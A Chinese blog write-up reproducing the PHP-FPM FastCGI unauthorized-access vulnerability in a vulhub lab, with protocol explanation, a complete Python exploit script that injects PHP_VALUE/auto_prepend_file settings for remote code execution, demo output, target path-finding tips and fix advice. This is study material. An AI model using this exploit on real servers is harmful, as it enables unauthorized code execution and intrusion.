fastcgi未授权访问漏洞(php-fpm fast-cgi未授权访问漏洞)
这里写目录标题
本文参考 《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》进行该漏洞的复现以及分析。
1.前置基础
1.1 nginx中的fastcgi
先来看先前用过的一张图,其是nginx解析用户请求的过程。
图中的几个定义:
- CGI:CGI是一种协议,它定义了Nginx或者其他Web Server传递过来的数据格式,全称是(Common Gateway Interface,CGI),CGI是一个独立的程序,独立与WebServer之外,任何语言都可以写CGI程序,例如C、Perl、Python等。
- FastCGI:FastCGI是一种协议,它的前身是CGI,可以简单的理解为是优化版的CGI,拥有更够的稳定性和性能。
- PHP-CGI:只是一个PHP的解释器,本身只能解析请求,返回结果,不会做进程管理。
- PHP-FPM:全称FastCGI Process Manager,看名称就可以知道,PHP-FPM是FastCGI进程的管理器,但前面讲到FastCGI是协议并不是程序,所以它管理的是PHP-CGI,形成了一个类似PHP-CGI进程池的概念。
- Wrapper:字母意思是包装的意思,包装的是谁呢?包装的是FastCGI,通过FastCGI接口,Wrapper接收到请求后,会生成一个新的线程调用PHP解释器来处理数据。
也就是说,fastcgi作为一种通信协议。提供了nginx程序和php-fpm通信的桥梁。作为一种规范,保障了服务器接收到的php请求可以完整快速的传递到php-fpm魔模块中进行处理。
1.2 fastcgi协议分析
1.2.1 Fastcgi Record
Fastcgi其实是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。
HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。
类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。
和HTTP头不同,record的头固定8个字节,body是由头中的contentLength指定,其结构如下:
#这是c语言中定义的结构体typedef struct { unsigned char version; // 版本 unsigned char type; // 本次record的类型 unsigned char requestIdB1; // 本次record对应的请求id unsigned char requestIdB0; unsigned char contentLengthB1; // body体的大小 unsigned char contentLengthB0; unsigned char paddingLength; // 额外块大小 unsigned char reserved; unsigned char contentData[contentLength]; unsigned char paddingData[paddingLength];} FCGI_Record;
头由8个uchar类型的变量组成,每个变量1字节。其中,requestId
占两个字节,一个唯一的标志id,以避免多个请求之间的影响;contentLength
占两个字节,表示body的大小。
语言处理模块解析了fastcgi头以后,拿到contentLength
,然后再在TCP流里读取大小等于contentLength
的数据,这就是body体。
Body后面还有一段额外的数据(Padding),其长度由头中的paddingLength指定,起保留作用。不需要该Padding的时候,将其长度设置为0即可。
可见,一个fastcgi record结构最大支持的body大小是2^16
(两个字节16bit),也就是65536字节。
1.2.2 Fastcgi Type
type
就是指定该record的作用类型。因为fastcgi中一个record的大小是有限的,作用也是单一的,需要进行分类表述。所以我们需要在一个TCP流里传输多个record。通过type
来标志每个record的作用,用requestId
作为同一次请求的id。
也就是说,每次请求,会有多个record,他们的requestId
是相同的。
type值 | 具体含义 |
---|---|
1 | 在与php-fpm建立连接之后发送的第一个消息中的type值就得为1,用来表明此消息为请求开始的第一个消息 |
2 | 异常断开与php-fpm的交互 |
3 | 在与php-fpm交互中所发的最后一个消息中type值为此,以表明交互的正常结束 |
4 | 在交互过程中给php-fpm传递环境参数时,将type设为此,以表明消息中包含的数据为某个name-value对 |
5 | web服务器将从浏览器接收到的POST请求数据(表单提交等)以消息的形式发给php-fpm,这种消息的type就得设为5 |
6 | php-fpm给web服务器回的正常响应消息的type就设为6 |
7 | php-fpm给web服务器回的错误响应设为7 |
看了这个表格就很清楚了,服务器中间件和后端语言通信,第一个数据包就是type
为1的record,后续互相交流,发送type
为4、5、6、7的record,结束时发送type
为2、3的record。
后端语言接收到一个type
为4的record后,就会把这个record的body按照对应的结构解析成key-value对,这就是环境变量。环境变量的结构如下:
typedef struct { unsigned char nameLengthB0; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength];} FCGI_NameValuePair11;typedef struct { unsigned char nameLengthB0; unsigned char valueLengthB3; unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair14;typedef struct { unsigned char nameLengthB3; unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength];} FCGI_NameValuePair41;typedef struct { unsigned char nameLengthB3; unsigned char nameLengthB2; unsigned char nameLengthB1; unsigned char nameLengthB0; unsigned char valueLengthB3; unsigned char valueLengthB2; unsigned char valueLengthB1; unsigned char valueLengthB0; unsigned char nameData[nameLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0]; unsigned char valueData[valueLength ((B3 & 0x7f) << 24) + (B2 << 16) + (B1 << 8) + B0];} FCGI_NameValuePair44;
这其实是4个结构,至于用哪个结构,有如下规则:
- key、value均小于128字节,用
FCGI_NameValuePair11
- key大于128字节,value小于128字节,用
FCGI_NameValuePair41
- key小于128字节,value大于128字节,用
FCGI_NameValuePair14
- key、value均大于128字节,用
FCGI_NameValuePair44
类型4的record在和php-fpm的通信中发挥着十分重要的作用,这也是我们着力分析的原因。
1.2.3 PHP-FPM(FastCGI进程管理器)
php-fpm就是接收fast-cgi并进行处理的一个模块程序。其不但可以高效的接收fast-cgi信息,还可以将其交给自身的php-cgi进程进行php请求的处理。
FPM按照fastcgi的协议将TCP流解析成真正的数据。
举个例子,用户访问http://127.0.0.1/index.php?a=1&b=2
,如果web目录是/var/www/html
,那么Nginx会将这个请求变成如下key-value对:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1'}
这个数组其实就是PHP中$_SERVER
数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER
数组,也是告诉fpm:“我要执行哪个PHP文件”。比如script filename
中的/var/www/html/index.php
就是告诉php-cgi应该解析的文件位置在哪里。
1.2.4 security.limit_extensions
配置
这一条配置是用于规定在php-fpm的解析过程中,匹配到的SCRIPT_FILENAME
里,那些后缀可以被解析的。如果设置为空则表示解析所有后缀的php文件。是php-fpm的一条安全设置,如果其设置不当就有可能引发严重的非法php文件解析漏洞,即文件上传漏洞。导致网站被挂马。具体引发的漏洞类型大家可以去《nginx中间件常见漏洞总结》一睹为快。
这里附上官方文档给出的配置建议。
[root@blackstone php-fpm]# vim /etc/php-fpm.d/www.conf; Limits the extensions of the main script FPM will allow to parse. This can; prevent configuration mistakes on the web server side. You should only limit; FPM to .php extensions to prevent malicious users to use other extensions to; exectute php code.#这一句是重点,在设置解析时,为空则表示允许所有的后缀解析; Note: set an empty value to allow all extensions.; Default Value: .php;security.limit_extensions = .php .php3 .php4 .php5
2. 漏洞成因
到了漏洞成因这一块呢还是十分清晰的,既然是未授权访问那肯定少不了0.0.0.0:9000
这样一条配置了。就是因为管理员在配置时,错误的将php-fpm的9000端口访问限制配置成了允许所有IP访问。这就造成了没有授权的人也能访问这个端口。为一些别有用心的攻击者提供了攻击的切入点。
这里先把利用脚本给出来,原链接已经不可访问。直接粘到下面,已经适配py2和py3。原链接:https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i): if PY2: return force_bytes(chr(i)) else: return bytes([i])def bord(c): if isinstance(c, int): return c else: return ord(c)def force_bytes(s): if isinstance(s, bytes): return s else: return s.encode('utf-8', 'strict')def force_text(s): if issubclass(type(s), str): return s if isinstance(s, bytes): s = str(s, 'utf-8', 'strict') else: s = str(s) return sclass FastCGIClient: """A Fast-CGI Client for Python""" # private __FCGI_VERSION = 1 __FCGI_ROLE_RESPONDER = 1 __FCGI_ROLE_AUTHORIZER = 2 __FCGI_ROLE_FILTER = 3 __FCGI_TYPE_BEGIN = 1 __FCGI_TYPE_ABORT = 2 __FCGI_TYPE_END = 3 __FCGI_TYPE_PARAMS = 4 __FCGI_TYPE_STDIN = 5 __FCGI_TYPE_STDOUT = 6 __FCGI_TYPE_STDERR = 7 __FCGI_TYPE_DATA = 8 __FCGI_TYPE_GETVALUES = 9 __FCGI_TYPE_GETVALUES_RESULT = 10 __FCGI_TYPE_UNKOWNTYPE = 11 __FCGI_HEADER_SIZE = 8 # request state FCGI_STATE_SEND = 1 FCGI_STATE_ERROR = 2 FCGI_STATE_SUCCESS = 3 def __init__(self, host, port, timeout, keepalive): self.host = host self.port = port self.timeout = timeout if keepalive: self.keepalive = 1 else: self.keepalive = 0 self.sock = None self.requests = dict() def __connect(self): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(self.timeout) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # if self.keepalive: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) # else: # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) try: self.sock.connect((self.host, int(self.port))) except socket.error as msg: self.sock.close() self.sock = None print(repr(msg)) return False return True def __encodeFastCGIRecord(self, fcgi_type, content, requestid): length = len(content) buf = bchr(FastCGIClient.__FCGI_VERSION) \ + bchr(fcgi_type) \ + bchr((requestid >> 8) & 0xFF) \ + bchr(requestid & 0xFF) \ + bchr((length >> 8) & 0xFF) \ + bchr(length & 0xFF) \ + bchr(0) \ + bchr(0) \ + content return buf def __encodeNameValueParams(self, name, value): nLen = len(name) vLen = len(value) record = b'' if nLen < 128: record += bchr(nLen) else: record += bchr((nLen >> 24) | 0x80) \ + bchr((nLen >> 16) & 0xFF) \ + bchr((nLen >> 8) & 0xFF) \ + bchr(nLen & 0xFF) if vLen < 128: record += bchr(vLen) else: record += bchr((vLen >> 24) | 0x80) \ + bchr((vLen >> 16) & 0xFF) \ + bchr((vLen >> 8) & 0xFF) \ + bchr(vLen & 0xFF) return record + name + value def __decodeFastCGIHeader(self, stream): header = dict() header['version'] = bord(stream[0]) header['type'] = bord(stream[1]) header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) header['paddingLength'] = bord(stream[6]) header['reserved'] = bord(stream[7]) return header def __decodeFastCGIRecord(self, buffer): header = buffer.read(int(self.__FCGI_HEADER_SIZE)) if not header: return False else: record = self.__decodeFastCGIHeader(header) record['content'] = b'' if 'contentLength' in record.keys(): contentLength = int(record['contentLength']) record['content'] += buffer.read(contentLength) if 'paddingLength' in record.keys(): skiped = buffer.read(int(record['paddingLength'])) return record def request(self, nameValuePairs={}, post=''): if not self.__connect(): print('connect failure! please check your fasctcgi-server !!') return requestId = random.randint(1, (1 << 16) - 1) self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId) def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf data = BytesIO(data) while True: response = self.__decodeFastCGIRecord(data) if not response: break if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR if requestId == int(response['requestId']): self.requests[requestId]['response'] += response['content'] if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response'] def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__': parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') parser.add_argument('host', help='Target host, such as 127.0.0.1') parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') parser.add_argument('-c', '--code', help='What php code your want to execute', default='') parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3, 0) params = dict() documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'POST', 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 'SCRIPT_NAME': uri, 'QUERY_STRING': '', 'REQUEST_URI': uri, 'DOCUMENT_ROOT': documentRoot, 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '9985', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1', 'CONTENT_TYPE': 'application/text', 'CONTENT_LENGTH': "%d" % len(content), 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On' } response = client.request(params, content) print(force_text(response))
3.利用示例
测试环境:vulhub内关于nginx解析漏洞的个环境
[root@blackstone fpm]# pwd/root/vulhub-master/php/fpm[root@blackstone fpm]# docker-compose up -d#报错的话可以关闭本机的fpm服务[root@blackstone fpm]# systemctl stop php-fpm[root@blackstone fpm]# netstat -anop | grep 9000
3.1 攻击演示
利用上面给出的那个exp可以对目标主机的9000端口发送一些php语句,触发任意代码执行漏洞。像这样:
#这里的路径参数一定要是目标网站上的一个真实存在的php代码,否则会出现404的返回结果[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR.php -c ''X-Powered-By: PHP/8.1.1Content-type: text/html; charset=UTF-8uid=33(www-data) gid=33(www-data) groups=33(www-data)#参数为不存在的php文件时[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /usr/local/lib/php/PEAR0012.php -c ''Primary script unknownStatus: 404 Not FoundX-Powered-By: PHP/8.1.1Content-type: text/html; charset=UTF-8File not found.
tips:如何获取真实的php文件路径。
#1.直接去真实的web页面路径里面添加错误路径,寻求报错回显出我们要的真实路径。#2.根据目标的操作系统,寻找应该有的安装php依赖时残留下来的php文件。root@892d77a19d74:~# find / -name *.phpfind: '/proc/1/map_files': Operation not permittedfind: '/proc/6/map_files': Operation not permittedfind: '/proc/7/map_files': Operation not permittedfind: '/proc/8/map_files': Operation not permittedfind: '/proc/435/map_files': Operation not permitted/usr/local/lib/php/Archive/Tar.php/usr/local/lib/php/Console/Getopt.php/usr/local/lib/php/OS/Guess.php/usr/local/lib/php/PEAR/Builder.php/usr/local/lib/php/PEAR/ChannelFile/Parser.php/usr/local/lib/php/PEAR/ChannelFile.php/usr/local/lib/php/PEAR/Command/Auth.php/usr/local/lib/php/PEAR/Command/Build.php/usr/local/lib/php/PEAR/Command/Channels.php/usr/local/lib/php/PEAR/Command/Common.php/usr/local/lib/php/PEAR/Command/Config.php/usr/local/lib/php/PEAR/Command/Install.php/usr/local/lib/php/PEAR/Command/Mirror.php/usr/local/lib/php/PEAR/Command/Package.php/usr/local/lib/php/PEAR/Command/Pickle.php/usr/local/lib/php/PEAR/Command/Registry.php/usr/local/lib/php/PEAR/Command/Remote.php/usr/local/lib/php/PEAR/Command/Test.php/usr/local/lib/php/PEAR/Command.php/usr/local/lib/php/PEAR/Common.php
3.2 security.limit_extensions的限制 - 参数必须为.php后缀的真实文件
接下来我们要认真的思考一下,究竟如何实现这个漏洞的利用。
周老师提供给我们的思路就是最终要实现任意命令执行的效果,首先我们利用fastcgi协议可以往对应的开放端口里面发信息。这一点肯定是没跑的。但是再往后看,发什么样的信息才能有效呢,或者说我们能不能发送一个scriptname
指向某一个文件,让php将其返回回来呢。
其实这一点在老版本的php-fpm内可以实现,我们用fastcgi请求一个存在的文件,该文件就会被当成php解析并返回。比如利用上文给出的exp查看/etc/passwd文件的信息。现如今会出现权限拒绝的错误。
[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwdAccess to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 ForbiddenX-Powered-By: PHP/8.1.1Content-type: text/html; charset=UTF-8Access denied.
其实这个问题和我们上面提到的security.limit_extensions
配置项有关,该配置设置了php-fpm接收到的scriptname中允许解析的文件后缀类型。为空时则允许解析所有,我们进行配置后再次测试:
#1.修改一套配置了security.limit的文件,到放到虚拟主机内部,尝试测试[root@blackstone fpm]# cp /etc/php-fpm.d/www.conf .[root@blackstone fpm]# vim www.conf
#2.文件复制到目标目录内部[root@blackstone fpm]# docker ps -aCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES892d77a19d74 php:fpm "docker-php-entrypoi…" 26 minutes ago Up 26 minutes 0.0.0.0:9000->9000/tcp fpm_php_1[root@blackstone fpm]# docker cp www.conf 892d77a19d74:/root@892d77a19d74:/var/www/html# find / -name www.conffind: '/proc/1/map_files': Operation not permittedfind: '/proc/6/map_files': Operation not permittedfind: '/proc/7/map_files': Operation not permittedfind: '/proc/8/map_files': Operation not permittedfind: '/proc/13/map_files': Operation not permitted/usr/local/etc/php-fpm.d/www.conf/www.confroot@892d77a19d74:/var/www/html# cd /usr/local/etc/php-fpm.d/root@892d77a19d74:/usr/local/etc/php-fpm.d# mv www.conf wwwroot@892d77a19d74:/usr/local/etc/php-fpm.d# mv /www.conf .#3.尝试再次运行攻击脚本[root@blackstone fpm]# python2 fpm.py 127.0.0.1 /etc/passwdAccess to the script '/etc/passwd' has been denied (see security.limit_extensions)Status: 403 ForbiddenX-Powered-By: PHP/8.1.1Content-type: text/html; charset=UTF-8Access denied.
到这里还是不行,不允许我们访问这里的/etc/passwd,我们尝试降级了之后依旧无效。可以看出,无论如何,想要解析非.php后缀的文件,即使是在exp的加持下,也无法完成。更何况大多数情况下,仅仅开启解析.php后缀文件呢。
3.3 如何让我们的php语句被执行?
如果我们仅能通过fastcgi让php-fpm解析一些系统上本来就有的.php
文件,那将毫无意义。因为文件本来就在服务器上,就算有很弱的文件上传点,让我们上传了.php后缀的php文件上去。那这利用面也未必太窄了。
但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file
和auto_append_file
。
auto_prepend_file
是告诉PHP,在执行目标文件之前,先包含auto_prepend_file
中指定的文件;auto_append_file
是告诉PHP,在执行完成目标文件后,包含auto_append_file
指向的文件。
也就是说,通过这两个参数的设定可以实现在解析php文件前,先行包含一个文件进来,条件合适的话(服务器允许远程包含文件)。可以用伪协议php://inout
实现对进入post请求体中的php代码解析。
设置auto_prepend_file
为php://input
。
但是我们又不能直接修改服务器的pnp.ini,肯定是没权限的。又遇到难题了。莫慌,作者还提出了一些关于php-fpm的知识。
PHP-FPM的两个环境变量,PHP_VALUE
和PHP_ADMIN_VALUE
。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE
可以设置模式为PHP_INI_USER
和PHP_INI_ALL
的选项,PHP_ADMIN_VALUE
可以设置所有选项。(disable_functions
除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)也就是说,通过对FPM的环境变量的设置,可以达到开启远程文件包含和设置auto_prepend_file
为php://input
的效果。
exp最终发送出的fast-cgi参数如下:
{ 'GATEWAY_INTERFACE': 'FastCGI/1.0', 'REQUEST_METHOD': 'GET', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'SCRIPT_NAME': '/index.php', 'QUERY_STRING': '?a=1&b=2', 'REQUEST_URI': '/index.php?a=1&b=2', 'DOCUMENT_ROOT': '/var/www/html', 'SERVER_SOFTWARE': 'php/fcgiclient', 'REMOTE_ADDR': '127.0.0.1', 'REMOTE_PORT': '12345', 'SERVER_ADDR': '127.0.0.1', 'SERVER_PORT': '80', 'SERVER_NAME': "localhost", 'SERVER_PROTOCOL': 'HTTP/1.1' 'PHP_VALUE': 'auto_prepend_file = php://input', 'PHP_ADMIN_VALUE': 'allow_url_include = On'}
到这里,我们的post请求体中的php代码就被顺顺利利的执行出来了。完美的实现了任意代码执行漏洞。不得不赞叹作者的思路以及深厚的php基础知识。
4.修复建议
配置的时候一定要小心,特别是对于php-fpm模块中的监听端口、security.limit_extension
的配置。一定要遵循最小开放原则。
5. 总结
fastcgi未授权访问漏洞是由于错误的监听端口配置而引发的配置型漏洞。在内网的部署中也常常会有人人为监听个0.0.0.0:9000简单又快捷。殊不知,这也会成为服务器脆弱的一环。
对于这个漏洞,我们的重心应该放在攻击思路上,去理解作者如何利用php的一些知识,和fast-cgi的相关知识。编写对应的exp实现攻击的。作为任意代码解析最重要的就是让服务器解析我们写入的代码。作者利用了php.ini配置文档中的auto_prepend_file
让.php
文件在解析前先行包含进外部文件。再利用fast-cgi的PHP_VALUE
和PHP_ADMIN_VALUE
设置允许文件包含。最终实现了在post请求体中注入任意可执行的PHP代码这样的操作。
来源地址:https://blog.csdn.net/qq_55316925/article/details/128974535
免责声明:
① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。
② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341